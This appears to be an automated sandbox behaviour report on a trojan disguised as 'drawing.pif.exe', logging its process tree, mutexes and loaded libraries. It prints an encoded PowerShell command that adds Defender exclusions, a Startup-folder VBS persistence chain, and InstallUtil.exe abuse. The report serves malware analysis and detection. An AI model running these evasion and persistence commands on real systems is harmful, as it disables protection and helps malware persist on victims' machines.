Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05CE5743	20_2_05CE5743

Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1651454282.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1677243311.0000000005D50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1677243311.0000000005D50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1676892478.0000000005D00000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002698000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000000.1377645736.00000000001F2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameKmzmdfuk.exe2 vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7e5bb978-3a35-43a5-95fe-dd44d69d6a5a.exe4 vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1677387924.0000000005F90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameZkqqruzmbn.dll" vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003661000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003661000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKmzmdfuk.exe2 vs 58955, ZN25888A #U2013 drawing.pif.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe	Binary or memory string: OriginalFilenameKmzmdfuk.exe2 vs 58955, ZN25888A #U2013 drawing.pif.exe

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@32/8@2/2

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luy1liyb.dcq.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs"

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 58955, ZN25888A #U2013 drawing.pif.exe	ReversingLabs: Detection: 23%
Source: 58955, ZN25888A #U2013 drawing.pif.exe	Virustotal: Detection: 25%

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

File read: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe "C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe"
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\page.exe "C:\Users\user\AppData\Roaming\page.exe"
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\page.exe "C:\Users\user\AppData\Roaming\page.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
